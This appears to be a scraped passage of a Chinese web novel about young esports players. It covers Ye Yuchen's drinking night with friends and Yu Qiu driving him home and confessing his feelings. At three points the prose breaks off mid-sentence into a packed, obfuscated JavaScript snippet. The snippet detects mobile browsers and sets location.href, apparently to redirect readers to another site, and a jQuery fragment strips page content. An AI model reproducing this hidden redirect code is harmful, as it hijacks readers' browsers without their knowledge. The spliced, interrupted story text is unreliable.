听到这答案,小U深吸一口气,立马拿出自己的手机疯狂往上刷着群聊记录,他一看到自己要找的目标,直接把手机屏甩到夜雨辰脸上,指着这句话道:“来来来你告诉我,‘尽量不和他扯上关系’这句话是谁说的?这才过去多久啊老夜?” 这才两周不到的时间,怎么就直接变脸了? “……”夜雨辰看着这句话,直接拍开举在自己面前的手机,无奈地摊手:“舍友,扯不开,你怎么和言星奕一个反应?” 怎么都大惊小怪的。 “那他肯定和我一个想法。”小U没好气地翻了个白眼:“还‘扯不开’,我还是之前那句话,郁秋绝对对你有想法。” 夜雨辰失笑道:“你的脑子怎么老是想着这些奇奇怪怪的东西?我俩男的能有什么想法?” 看着对方如此不在意的反应,小U没忍住瘫在椅子上,扶额道:“夜雨辰你别这么单纯了好吗,你是真对咱们的群名没概念吗?你知道‘0’和‘1’是什么意思吗?” 他们的微信群名可是“当0当1不当”。 当初取这个群名的时候,反应最平静最不以为意的那个就是夜雨辰了。 夜雨辰双手抱胸,歪头道:“知道啊,但和我没关系吧?这群名不是你改的吗?” 小U越发无语:“那你总知道这世界上有些人是同性恋吧?” 夜雨辰扬眉:“那咋了?我又不是。” 小U放下手,目光灼灼地看向夜雨辰:“那如果郁秋是呢?他万一就是对你有想法呢?” 从这人两年前在游戏里对夜雨辰“表白”后的反应、直播里提到‘Rain’的语气,他就觉得郁秋喜欢夜雨辰,绝对! 夜雨辰耸耸肩,丝毫没在意对方性取向是什么东西:“他现在来市区是因为他要去约会,所以他是不是同性恋关我啥事?目标又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小事,今天不用你请。”夜雨辰摆了摆手,眸光一瞥,莞尔道,“小U请,前几天不是说了谁巅峰带飞就谁请客吗?” “?”小U满眼诧异,“那把不是你MVP吗,怎么变成我请了?你这不是滥竽充数了吗?” 夜雨辰笑眯眯道:“你忘了?我是FQ的小U啊,所以当然是小U请客啊,还有,‘滥竽充数’不是这么用的。” “……”小U心虚地撇了撇嘴,“不就报了下你的名讳吗,有必要这么记仇?” 夜雨辰面不改色道:“我没有记仇,只是阐述事实罢了。” 他才没这么小肚鸡肠。 服务员在这时刚好将六瓶啤酒送到了桌上。 嘉辉兴致冲冲地拿起一瓶就往嘴里灌上了一大口,爽快地高举酒瓶道:“别争了!今天喝的最少的那个请客!咱们不醉不归!” 小U瞬间被感染了斗志,也拿起一瓶酒大喝一口:“可以!来干!喝的最少的那个包全桌啊!包括后面加的酒啊!” 夜雨辰看着二人斗志昂扬的模样,视线缓缓放到桌上那正不停地冒着气泡的四瓶啤酒,并没有第一时间像他们俩一样直接大喝一口。 ……喝得最少的请客? 他眸里不由得闪过一丝不屑。 那你俩不输定了? 34. 第 34 章 晚风轻拂,知了蝉鸣,室外餐厅人潮喧嚣,碗筷的碰撞声夹杂其中。 烤肉的香味随风飘逸,细长的竹签堆砌在桌上,享用美食的人们的脚边滚过几只绿色空瓶,发出“乒乒”地清脆悦耳声。 嘉辉再次高举着不知道第几瓶啤酒,挑衅道:“你俩一个个脸红成这样还能喝吗?从了吧,认输吧!” 小U嗤笑一声,和他碰了个瓶口:“急什么?夜还长呢,你不会是坚持不住了所以在欲擒故纵吧?” “这叫欲盖弥彰。”夜雨辰好笑地轻打了声嗝,一手托着脸,一手再悠悠地小酌了一口。 他现在的脸颊和耳垂红里透白,一看就喝了不少的量。 他把手里剩余的半瓶一口气喝完,眉间写满不悦,“这酒还是没味道啊,像兑水了一样,不好喝,下次咱们换一种喝。” 这一个小时,三个人大快朵颐,但论喝酒,还没分出个胜负。 小U看着他双眼泛红的模样,上前去勾住他的肩,嘲笑道:“老夜,你可是现在咱仨里最上脸的那个,别嘴硬了,你再喝下去等下直接醉到躺大街睡觉了,而且你基地可是最远的。” 夜雨辰没好气地甩开这只搭上自己肩的手,冷哼一声:“上脸和喝醉又不是一码事,我现在清醒得很。” 他完全意识得到自己在说什么做什么,他才不会喝醉。 只是头有点晕罢了。 “论中单和嘴硬技术,Night说第二没人敢说第一。” 小U小声偷偷嘟囔了一句。 这时,嘉辉又迫不及待地抓起一瓶满盛的酒。 夜雨辰看着他畅快淋漓的模样,扫了一眼桌上将近十几个空酒瓶,蹙眉道:“你喝了多少了?” 他自己好像只喝了三四瓶,哪来这么多空瓶子? 嘉辉若无其事地继续大饮特饮:“不多,应该六七瓶吧?” 夜雨辰目光突然严肃了不少:“你别喝了。” 他们这顿饭局的名义是庆贺他们成功当上了职业选手,但可没想过喝得酩酊大醉。 小U也察觉到一丝不对:“你喝这么多干嘛?” 嘉辉的手一顿:“……” 他喝酒的动作戛然而止。 许是酒精的缘故,他的眼眶微微泛红,他侧过眸似平静地扫过二人面部,缓缓将手中的瓶子放回到了桌上。倏地,他轻啧一声,又猛给自己灌上了一口。 “别喝了!” 夜雨辰直接上前阻拦他继续喝酒的动作,眉头锁得更紧了,“一口气喝这么多,在想什么?” 小U也完全收起了脸上的嬉闹,清醒了不少:“你是不是遇到什么事了?和刚刚的训练赛有关?” 嘉辉这模样根本就像是心里藏着事想借酒消愁。 “……”见自己再次被阻拦,嘉辉深吸一口气,抬眸看向二人,眸光波动。半晌,他声音略带沙哑道,“你们俩感觉自己的战队怎么样?” 小U对这个问题感到莫名,但还是老实答道:“中规中矩吧,反正我现在只能坐替补,他们五个现在有冠军相,所以轮不到我替他。” 夜雨辰毫不犹豫:“穷。” 嘉辉一噎:“……那小九走后你们战队内部关系如何?” 小九出事的公告可是在整个圈子里都传开了的。 夜雨辰垂眸思索了一下,小酌一口:“挺好的,就是有个人训练赛老是和我吵。” “为什么?”嘉辉没忍住继续探究。 夜雨辰冷哼道:“关键团我觉得能打而且他在我附近的时候,他不跟我,而有时候我觉得不能打的时候他又直接上了,而且我俩都觉得自己决策没问题,所以不管团赢还是团输,只要没配合起来,都会吵。” 小U一下猜出来了对方是谁:“郁秋啊?” 夜雨辰点头:“嗯。” 嘉辉目光灼灼地看着他:“那你们吵起来后,队友一般怎么站边的?” “队友虽然没说话,但一开始其实偏他多一点吧?教练起初也会指出我的问题,而且我也意识到了自己的毛病,所以我在改。”夜雨辰小酌一口, “但最近这几场训练赛,我和那谁都没多大毛病,只是局内思路有了分歧,所以其他人就会等我俩先吵出胜负再开始复盘,或直接把我们赶出训练室吵,他们自己先复盘。” 小U:“……” 这是队友习以为常到完全懒得劝了吧? 嘉辉愣愣道:“你不会觉得自己像被排挤了吗?” 夜雨辰歪头:“有吗?没吧。” 嘉辉眼里没忍住流出一抹羡慕的眼神,苦笑道:“可我觉得自己像被排挤了。” 许是过多酒精的作用,他现在有点克制不住情绪,拿手立马遮住眼睛呜咽了几声,“可我真的有问题吗?如果没有我的那个操作,你们家辅助会一看到我就那么果断闪现上去开我吗?为什么他们次次都说我有问题?特别是那傻逼打野第一个带头跟我挑刺,别人就一直跟着一起指责我?” 夜雨辰回忆了下Qian以前的开团思路,断定道:“他确实不会。” 这是属于嘉辉的个人操作,他对自己反应十分有自信,最喜欢拿自己当诱饵来骗敌方技能,他们在青训营做对手的时候他就被骗了不少次。 嘉辉扯出一抹难看的笑容:“对啊,如果没有我这个操作,你们团战也不会陷入逆风;如果没有你,那对手一定只会以为我这个走位是想拿红的失误;如果你和你们家打野没有配合,你也照样会被我反杀。” 他们三个是同一届的青训生,彼此了解对方的打法,所以在那波团战,他才会被夜雨辰绕到最后排,但他也对夜雨辰的绕后一直有防备之心。 不过他的死主要还是他以为Qiu没找到切他的机会,并且认为对方没跟上夜雨辰火舞的这波绕后。 毕竟在青训营的时候,是没有人能完全配合上Night的,他在青训圈的两个月里一直是一枝独秀。 所以,他在躲掉夜雨辰第一时间的突袭后,下意识地松下一口气,结果刚放下了不到一秒的警惕,他就被郁秋的突然进场秒杀了,让他根本没来得及换出复活甲。 “……”夜雨辰眨眨眼,“你太多‘如果’了。” 嘉辉一怔。 夜雨辰轻抿一口酒:“游戏对局,没有‘如果’,只有结果。” ‘如果’永远都是为自己所在的队伍的失利找得借口。 小U似是抓到了重点:“所以你是觉得你和战队关系不睦所以很难受?” “嗯。”嘉辉点点头,酒精成为了他话匣子的钥匙,让他一口气把心里的想法全道了出来,“我还以为每个战队都会像JYY冠军时期的那样,齐心协力、共同拼搏,那是一种像家的感觉。” “家?” 小U和夜雨辰同时诧异。 怎么会这么想? 嘉辉看向这两人,疑惑道:“难道不是吗?邱子幸进前的JYY,除了Qian,剩余的队员都是战队的初始成员,其中就有One,作为他的粉丝,我看过他们一起经历战队低谷、一起扛过舆论压力、一起嬉笑打闹互开玩笑……他们给了我一种他们是一家人的感受,所以我真的以为每个职业战队的队内关系就应该是这样的。” 大家互相共勉互相鼓励,而不是这样次次吵架,硝烟弥漫。 嘉辉沮丧地叹了口气,又没忍住闷了一口酒:“可事实上我只感受到了老成员对我这个新成员的排挤。他们从不会说‘啊我打得不错’类似的话,可我真的每次都打出作用了没有问题啊?” 他小声嘟囔道:“不知道是不是因为这个打野和我是仇人的缘故所以他们这么对我。” 夜雨辰疑惑:“‘仇人’?” 嘉辉点点头:“嗯,SupS的打野我很早之前就和他在游戏里干上了,互相看不顺眼那种,巅峰赛里我们俩撞车就次次吵,早就是仇人了,而他们几个人关系好,背后嘀咕我也不是不可能的。” “可是,”夜雨辰不解,“他们要是真排挤你,还会让你打‘四保一’的射核阵容让你做主C吗?” 嘉辉蹙眉:“这不是每个战队必须练的阵容吗?他们只是为了练阵容所以不得不这样打而已。” 夜雨辰依旧感到奇怪:“可如果是这样,那最后一波王昭君不会听你的话把二技能捏得那么死吧?假如他不信任你,他不会不放那个二技能的;而且如果你没提醒他我的打法,他也会下意识以为Qian的开团我会跟上,直接把技能丢在Qian的脚下,而不是认为我知道你是诱饵后会直接绕到最后吧?” 他扪心自问,假如他是这个王昭君而且对手是他不了解的人,他确信,他会第一时间把这控制技能放在对面开团的落脚点拆火,因为对手会以为自己已经开到了己方射手;而如果他对自家射手的话不信任,他也会放这个二技能在那个位置意图保护射手。 所以无论如何,他的“冰冻”二技能一定会早就释放,而不是留到团战最后。 嘉辉一怔,愣愣地看向夜雨辰。 夜雨辰继续分析道:“你队友如果真的对你有意见,应该不会在意你的提醒也不会相信你那波能操作起来吧?他们其实也有在试着和你磨合吧?” 小U轻咳了两声:“那个,我说一下我的情况,你参考下,虽然我现在几乎没机会打训练赛,但我看他们几个打的时候,如果我是中单,很多情况我都会直接自以为是的冲上去打的,但他不会,不是不敢操作,而是他们原本定好的对策相比直接冲上去会更加稳妥。” “我在旁边看得多打得少,但我也意识到现在自己的想法肯定是无法磨合进FQ的团队里,所以我会私下去和前辈们讨教讨教。” 夜雨辰赞同地点了点头:“其实我的战队在试着融入我的打法,但我同样也要适应他们原有的战术,所以我训练的时候也会不停地改变自己。” 他们几个都是新人,年轻且天才,心高气傲是一个很正常的现象,所以他们会很难察觉并接受自己的“问题”。嘉辉现在明显是不认 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小U顿时傻眼了,他扫了一眼对方面前的桌面,震惊道,“夜雨辰你他妈知道自己在说什么吗??而且你桌上什么时候又多了三个空酒瓶??你这是喝醉了吧??” 嘉辉同样无语扶额:“他刚刚在我说话的时候一直在喝,而且他的仇人和我的仇人好像不是一个意思。” 反正他是说不出他仇人‘人挺好’的话。 夜雨辰摆了摆手,不以为意地莞尔道:“没醉没醉,清醒着呢,而且郁秋现在还天天嘴贱恶心我呢,我能咋办?合同在队里,我俩还一间房,现在不找找他的优点来弥补我对他的厌恶,这一年我咋过?” 嘉辉一噎。 小U直接一巴掌拍在自己额上:“真他妈后悔没录下来给明天清醒的你听听你究竟说了什么狗屁胡话。” 嘉辉在他旁边小声提醒道:“可不都是说酒后吐真言吗?” “……”小U一顿,咬牙道,“他情况特殊吧?” 这时,夜雨辰幽幽地站起身,但他刚跨出一步,脚下就一个踉跄失去平衡,还好被小U眼疾手快地扶住了。 小U满脸烦躁道:“你要去哪?而且你现在这状态怎么回家?” “……排水。”夜雨辰扶了扶头,稳住身形,目光似清醒坚定地看着小U,“刚刚站的速度太快了所以头晕了下而已,我没事,好得很,能回。” 说着,他甩开对方的手,似乎直走进了餐厅室内。 嘉辉看着夜雨辰离去的摇晃身影,不由得有点担忧:“他真的没问题吗?你确定他的酒量不会出事?” 小U头疼似的揉了揉眉心,低骂道:“犟种,他家里不允许他喝酒,所以我和他出门吃饭的时候,他就老是说想试试把自己喝醉是什么样的感觉,这次是真给他逮着机会了。” “为啥想喝醉?” “因为他想证明人只要意志够坚定,就不会醉。” “……?” 什么鬼玩意? 小U叹了口气:“还有,现在赶紧叫个服务员来对账单,他这人对钱的概念挺奇葩的,估计会顺便去把我们这顿饭偷偷付了,我们还是和开始说好的一样,该A就A,这一顿总价不便宜的。” * “嘀!” “支付成功。” 夜雨辰眼睛眨也不眨一下地看着手机屏上支出的四位数。 虽然不贵,但比他想象中的还多,直接把他上周赚得数目花了一半。 加上他前几天买的一些生活用品和游戏道具,现在兜里又没剩多少了。 他打开打车软件,搜了一下回基地的价钱——191.86元。 “……” 他眉头微微蹙起 嘶,打车费真的好贵。 他可不舍得花这么多钱回基地。 可又不能不回去。 怎么办呢…… “喂?怎么了?” 突然,一道熟悉却不该出现在这的声音在他耳边响起。 夜雨辰怔了怔,缓缓低头,看向了声源处。 他的手机不知什么时候拨通了一个微信电话。 拨打对象的头像是全黑的,他也没给备注,只有一个孤零零的“Q”在屏幕正中央。 不知道从什么时候开始,他脑子里的思绪逐渐跟不上肢体的行动了。 在他焦灼要不要打车回去的时候,身体已经主动地帮他做出了选择。 “嗯?怎么没声音?” 对面的人没听到电话那端的声音,感到疑惑。 夜雨辰紧蹙着眉,还在回想自己究竟是什么时候拨出去的电话,嘴上却直愣愣道:“你约完会了吗?” 对面轻笑一声:“嗯,刚结束,怎么了? 他死死地盯着手机片刻,眸光波动,似乎在看些什么,却一直无法聚精会神。 片刻后,他轻打了一声嗝: “那你可以,接我回家吗?” 35. 想亲 “……所以试试把自己局内这些细节改改,看看能不能和他们磨合上,如果他们还是那样对你的话,我们再议,这才刚开始打职业呢,慢慢来不要急……哟,老夜回来了。” “嗯。” 夜雨辰瞥了一眼在给嘉辉做心里安慰的小U,默默地走回自己的位置坐了下来。 他眉头轻蹙着,微微地垂了点头,额前的碎发随风飘拂,恰好掩住他已有些许迷离的双目,但微醺红润的脸颊和身上浅浅散发的酒味都在诉说着他现在的状态有点恍惚。 错觉吗,总感觉头晕目眩的。 有点想……直接趴下睡觉。 小U看着他有些呆滞的眼神,拿手在他面前晃了晃:“那你打算怎么回去,我给你叫辆车?” 夜雨辰甩了下头,回过点神来,声音略带些鼻音:“不用,我打好了。” 小U皱眉,直接拿起对方放在桌上的手机,试图解锁屏幕,无果后直接把其摆在他的面前:“你把订单取消了,我给你打,你这次别又想一人独自破费。” “……”夜雨辰眨眨眼,看也不看自己眼前的手机,而是直接抬眸和他对视,没忍住失笑道,“你这小心思。” 他直接把手机熄屏并拿回自己手里,“不会给你机会偷我收款码的。” 打车费哪够他想填充饭钱金额的?这不明显是想找借口拿到自己的收款码给自己转账嘛。 见又被看穿了意图,小U低骂一声:“啧。” 他烦躁地抓了抓头,坐回自己的位置上。 嘉辉见状,无声地叹了口气,偷偷拽了下小U的胳膊,打算和他重新小声讨论一下怎么换个方法让夜雨辰收下他们A好的钱。 但小U好像并没有察觉到他的举动。 他疑惑地扭头看去,发现对方正面色不善地直直地看着一个方向。 他好奇地将自己的目光一并投了过去。 只见一名半束着头发的男子单手插兜含笑而来,直至走到在他们的桌前才停下脚步。 小U下意识把夜雨辰往后一拦,满脸警惕:“你来干什么?” 郁秋目光扫过对方胳膊后酒意微醺的青年,挑了挑眉,然后才看向小U,莞尔道:“专职司机,包接包送。” 小U冷笑一声,语气满是不善:“你不是在约会吗?为了做个称职的司机敬业到约会约一半直接跑路?” 郁秋点点头:“突然肚子疼,鸽了。” “……” 小U一噎。 这借口是他和夜雨辰之前一起鸽JYY三人排位的原句。 他转过头,看向被自己拦在身后的青年,小声问道:“他怎么来了?” 夜雨辰眨眨眼:“我叫的。” 小U:“?” 郁秋也听到了这句话,摊手承认道:“确实是被他叫来的,所以他这是喝了多少,醉了?” 小U皱眉:“他喝了多少关你——” “就喝了一点。” 夜雨辰满脸不耐地直接打断了小U的话,站起身走了几步,然后回首看着这二个满眼复杂看着自己的人,轻哼一声,“说了没醉,喝醉的人能走直线?” 郁秋、小U、嘉辉:“……” 走的勉强算条直线,但是过程中他的脚一直在踉跄。 郁秋无奈笑了两声,上前去拉夜雨辰的胳膊:“走吧,回去了。” “拿开你的鸡爪!” 小U立马挤上前拍开他的手,把夜雨辰往自己身边一扯,满脸警惕地看着他,“你在想什么我清楚得很,离他远点。” 郁秋满脸无辜:“怎么离他远点?你教教我。我和他基地里一间房,就算不说话每天睁眼扭个头就会看到对方。” “你——!” 小U怒目圆睁,一时间憋不出几个字。 半晌,他咬牙道:“赖皮。” “你们在吵什么?” 夜雨辰皱眉打断了两人的争吵。 他先甩开小U的手,然后转头看向郁秋,似是不满道,“你把车停哪了?我先上去睡觉,然后你们再慢慢吵。” 他才懒得劝架,他现在是真的困。 * 把夜雨辰安顿在车座前排后,郁秋轻轻地关上了门。 小U见状,阴阳怪气道:“哟,你的车前排不应该给你的对象坐吗?就这么让我们家老夜坐上去了?” 郁秋眼也不眨一下地认真道:“对啊,他喝这么多,万一让他坐后排等下晕车了直接吐我车上怎么办?你来打扫?” 小U:“……” 说得好像坐前排吐了就不用打扫似的。 他深吸一口气,扭头往车的反方向走了一段距离,郁秋知道对方有话要说,懒懒地跟在他身后。 在离车不远而且附近除了他俩没其他人后,小U转身死死地盯着对方,直接开门见山:“你是不是喜欢他?” 郁秋脸上没有闪过任何意外的颜色,毫不犹豫:“是。” 小U一愣,没想到对方承认的这么干脆。但他立马回过神来,不屑道:“那你还是死心吧,老夜妥妥直男。” 郁秋依旧面色如常:“我知道啊。” 小U语塞。 刚准备好的冷嘲热讽的话全数卡在了喉咙里。 突然就有种一拳打在棉花上的无力感。 但他依旧不愿意就此降低自己的气势,嘴角勉强扯出一个嘲讽的笑容:“你知道那还离他这么近干嘛?不怕他嫌你恶心?” “不怕。”郁秋双手抱胸,悠悠道,“这是两码事,我喜欢他所以保护好他就行,这个圈子鱼龙混杂的。” 小U嗤笑道:“说得轻松,你凭什么?” 他自己在这个圈子呆的时间比夜雨辰长,所以他也看过不少一些让人作呕的事。 郁秋嘴角一勾,答非所问:“你猜石简益为什么会出事?” 小U突然噤声。 石简益是因为被举报做“演员”被罚的。 早不巧晚不巧,刚刚好在Night进战队的那几天出来的处罚公告。 如果有有心人大致算下举报时间的话,都难免会去猜测Night的进队和他的责罚是否有关联。 只是夜雨辰自己也否认这件事,说明真的和他无关? 至少举报是和他无关的。 他垂眸思索了一会,半晌,他抬眸,目光灼灼地看着对方:“你应该是两年前就喜欢他了,但他完全不认识你,更不用说你俩见没见过面,所以你为什么会喜欢上他?” 郁秋扬眉:“我两年前就喜欢上他?” 小U笃定:“你的表现很明显。” “真的吗?” 郁秋似苦恼地耸耸肩,不知是懒得找借口还是怎么,直接毫无掩饰的道出了实情,“没记错的话,深圳的一场全国大赛上,你是不是和夜雨辰还有他的一个朋友是对手来着?你们三个也是那时候认识的吧?” 小U瞬间就想起来了那段时间,双目圆睁:“那次你在现场??” 郁秋颔首:“嗯,路过,他也知道我在那,最近知道的。” “……”小U思索了片刻。但他突然想起来一件事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看他现在对你人还不错的评价,我们可以勉强接受你,我也可以帮你保密,反正老夜那毫无恋爱细胞的脑子也不知道啥时候能开窍。”说到这,小U没忍住轻嘲了一声,但他眼里依旧写满警告,“但要是让我们发现你欺负他,甚至脚踏几条船,那郁秋,不管你什么身份,你等着。” “还有,这笔钱刚好能让你转给他,你要是私吞我们就当作你放弃老夜了,那正和我们的意,反正你以前恶心他的那几句话我们还铭记在心呢。” * 郁秋回到车上的时候,车上的青年似乎早已熟睡。 他偏头看了过去—— 夜雨辰轻靠在窗边,双目紧闭着,耳垂红如苹果,身上散发着淡淡的醺意,呼吸平缓而稳重。 郁秋如黑曜石般深邃的双眸深处暗潮涌动。他轻轻地站起,朝他的方向稍稍俯身。 红里透白的面颊逐渐放大,细长的睫毛根根分明,似是因为被遮盖住了光线,还微微轻颤了一下。 他的手小心翼翼地抓到对方还未系上的安全带,眼睛却已目不转睛地盯着身下的青年,呼吸不自觉地开始放缓。 耳边突然回响起刚刚电话时,对方说的话—— “郁秋,接我回家,可以吗?” 糯糯的,像撒娇一样…… 抓着安全带的手倏地一紧。 刚刚小U对他说的话顿时被抛之脑后,脑海深处浮起一股冲动。 好可爱,想亲。 36. 第 36 章 “嗯……” 夜雨辰呻吟了一声,浅浅翻个身,迷迷糊糊的睁开了眼。 眼前先是一片恍惚,几秒后,目光逐渐焦距,他看清了窗外正不停变幻场景的道路。 车已经行驶在回基地的路上了。 他懒懒地抬起手,轻捶了一下自己的额头。 困、晕。 不过状态比刚刚稍微好了一点点。 他垂眸,视线停留在了自己不知什么时候系好的安全带片刻,再偏头看向身边正正专心致志地开着车、侧脸轮廓分明的人。 “还要多久到基地?” 他的声音带着股刚睡醒的懒意。 听到身旁的人醒了,郁秋轻笑道:“你电话里不是说回家吗?怎么现在改口成基地了?” “是吗?”夜雨辰轻微蹙眉回忆了一下,“可能刚刚聊天嘉辉把JYY说成家了,口误了吧?” “等等。” 突然,他脸色一变,“你不会真想着把我送回家吧??” 他职业的个人资料郁秋是有的,上面就写着他家的具体地址门牌号,而且他家就在这个城市啊。 郁秋轻轻点了下头,指了指导航系统:“你不是叫我接你回家吗?现在快到了,你看导航。” 夜雨辰呼吸微微一滞,立马看向了他俩中间的导航地图—— “距离目的地还有1.7km。” “目的地:JYY俱乐部基地。” …… 他的脸色瞬间黑如锅底。 嘁,又被骗了。 他抬眸,目光不善地盯着似因谎言得逞而微微翘起嘴角的司机。 每次放下一点防备心就被这家伙骗。 只见某司机脸上完全没有撒谎的羞耻,悠悠道:“这么怕回家?因为喝醉了?” “……我这样子像喝醉了?” 他冷哼一声,直接将目光瞥向窗外。 他肯定没醉,但是在洗手间的时候,他看到他的脸已红的不成样子,要是真这么回家,他估计会被一直问怎么脸红成这样,然后被父母叭叭个不停。 “话说,你刚刚说,”听旁边人就这么安静了,郁秋似是不想二人就这么终止话题,好奇问道,“嘉辉把JYY说成家是什么意思?” 这一年战队的风评可不好,还有人会这么称呼? 夜雨辰勉强开口道:“One刚开始呆的那个JYY,他是粉丝,觉得这个战队以前像家。” “原来是这样。”郁秋瞬间了然。 这是很多新人常有的心里,他们会以为自己所在的战队像家,那是他们对自己战队的理想状态,但现实大部分人都需要经过一定的时间对此祛魅。 不过…… 他嘴角一勾,“现在的JYY确实挺好的,有点家的味道。” 夜雨辰轻哼一声:“是吗?” 反正电话时他只是口误,才没把战队当家来看。 郁秋继续问道:“你刚刚不是说自己回基地吗?怎么突然改变主意了?” 夜雨辰轻啧一声,毫不犹豫:“手机自主想着白嫖劳动力所以给你打了电话,我没想过叫你。” 郁秋不由得发出了声低笑。 但是提到电话,夜雨辰脑子里突然想起一件事,像是好奇地问道:“你约会怎么一个多小时就结束了?” 郁秋停顿了半秒:“……约会对象肚子疼把我鸽了。” 夜雨辰这次明显没信:“那你不直接回基地,而是还干等了她一个多小时?” “……”郁秋干咳了两声,“心情不好去超市逛了逛,顺便买了点零食,晚上要是玩得晚可以充饥,在后座放着。” 夜雨辰眨眨眼,回头看向后座。 上面正放着三个满满当当的白色塑料袋,里面看上去就装了不少东西,其中一袋里面似乎都是瓶瓶罐罐。 这时,郁秋补充道:“哦对,刚刚还顺便买了点醒酒药,你要不要?” 夜雨辰眨眨眼,脱口而出脑子里联想到的东西:“你被鸽了心情不好,但是碍于不能酒驾所以想回基地宿醉?” 郁秋:“……?” 见对方没有回答,夜雨辰继续猜问:“还是说这次的鱼没上钩所以你不开心,想借酒消愁?” 突然,车身来了个细小的急刹,但很快又恢复了常速。 郁秋这次的语气略显干巴:“你这是什么意思?” 夜雨辰答非所问:“你是海王吗?” “……” “谁说的,我不是。” “海王不会承认自己是海王吧?” “。” 郁秋没忍住失笑道,“你都这么说了,为什么还问我这个问题?” 夜雨辰目光灼灼地看着他:“我是你的目标之一吗?” 郁秋的表情一僵。 此时,车刚刚好到达基地的山脚下停了下来。 他转头,看向脸上毫无任何玩笑意思的青年,喉咙有些干涩:“你怎么会突然说这些东西?” 夜雨辰似乎对这个答案十分迫切,直直地对着他的双眸:“所以是吗?” “……”沉默了片刻,郁秋扬眉,似是好笑道,“你要是我的目标,我就在刚刚趁你睡着的时候下手了。” 夜雨辰愣了一下,下意识开口:“为……” 还未问出来的话突然被他吞回了肚子里。 车内一时陷入了寂静,短短几秒的时间似乎被拉长了许久。 半晌,他掏出自己的手机,边发着消息边歉意道:“抱歉,失礼了,有人觉得你是花心萝卜,我想着给他证明一下。” 郁秋笑而不语。 不用说他都知道这人是谁。 他问:“那你是怎么想的?” 夜雨辰边打字边说:“你不像那种人,但知人知面不知心。” 郁秋挑眉:“你不怕这次我也是骗你的?” 夜雨辰头也不抬:“这次不像,而且就算我真是你的目标,那也不关我事。” “为什么?” “我不喜欢男人。” “……” 哦。 等车停好在基地的停车位后,夜雨辰看似完全没有醉意,立马起身下了车。 “夜雨辰。” 就当他一只脚刚踩到地上的时候,身后的人叫住了他。他身形一顿,疑惑地回首,看向那个仍坐在位置上、一只手正搭在方向盘上,似在若有所思的人。 对方微垂着眼眸,似乎在斟酌着什么。 片刻后,他深吸一口气,对上了自己的视线。他的嘴角挂上了一抹一如往常的微笑,语气十分轻松,但目光充满了真挚,“虽然你觉得我不是那种人,但我觉得我还是有必要强调一下—— 在感情上,我从不会做对不起别人的任何事,因为我只在意一个人,这辈子也只会爱他。” 夜雨辰眨眨眼:“……嗯。” 好莫名其妙、好突兀的一句话。 他微微皱起眉,眼里闪着疑惑的光芒,缓缓地关上了车门。 刚走两小步,他便停了下来,站在原地。 他的眉头皱得更紧了。 身体又传来了这种奇怪的感觉,和刚刚的一样。 刚刚郁秋跟他说‘如果他的目标是自己’的时候,他下意识地想问‘为什么’—— ‘如果目标是他,为什么会趁他睡着的时候下手?’ 可那时候,心脏的位置突然像是轻微抽搐了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081130|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阻止了他想脱口而出的话语。接踵而来的,便是一种像是落空的、空荡荡感觉。 他总觉得,要是那时候他继续问下去‘为什么’这三个字,那里面的味道会全变成‘为什么你的目标不是我’。 ……好奇怪的想法。 他不太想这么问这个意思。 他不太理解。 和现在一样,他喉咙深处正隐隐有一种异样感,指尖和后背也正发着一股凉飕飕的感觉,让他……突然有点乏力,不再想继续行动。 鼻子甚至还开始有点发酸。 他不懂。 一口气喝这么多酒会让身体有这种感觉吗? 但为什么是听到这人的话后才会有这些奇怪的感觉? “怎么站在这不动?不进去吗?” 他一愣,瞬间回过神,偏头看向走到自己旁边的已经停好车、单手里提着几袋东西的郁秋。 “没事。”他轻微晃了晃脑袋头,“给我一袋?” 看着朝自己伸来的一只手,郁秋不为所动,而是抬眸看向他,“你状态还好吗?” “……”见对方没有让自己帮忙拎东西的欲望,夜雨辰悻悻然地收回了自己的手,插进兜里。半晌,他目光瞥向一旁,吐出三个字,“好得很。” 郁秋挑眉:“真的?” 夜雨辰低垂下头:“嗯。” 倏地,他偷偷抬起手,轻轻拉住对方的衣角,抬眸对上对方闪过一抹诧异的双眸,随便找了个借口,“怕走路摔了,以防万一,扶一下。” 不知道为什么,在碰到他的瞬间,心里似乎好受了一点。 郁秋缓缓垂眸,看了一眼自己正被抓着的衣角,眨了眨眼:“确定不是你摔了方便拉着我一起死?” “……” 夜雨辰倏地一下松开手,独自快步走向基地大门口。 神经。 刚进基地,他便看到了正在厨房捣鼓着塑料袋的零落。 “回来了?”零落听到了动静,转头看向大门口,映入眼帘地便是一个脸颊泛着红的青年。他诧异道,“你的脸怎么这么红?” “……没事,喝了点酒。”夜雨辰随口答完,立马换好鞋子若无其事似的快步上了楼。 “他上脸而已,小问题。”郁秋紧跟其后进了基地。 他很快换好鞋,把那些零食放在餐桌上,然后对零落僵在厨房扯到一半的塑料袋的动作,好奇道,“你在做什么?” “老One要用,我下来帮他拿点。”零落干咳两声,然后立马扯开话题,“他真的是只喝了一点?脸红成那样,我是不是还要在队里下个禁酒令?” 郁秋挑眉:“别吧,队里也没酒鬼。” “……”零落思索了一下,“不过如果队里常出现这种现象,禁酒令我还是会下的。” 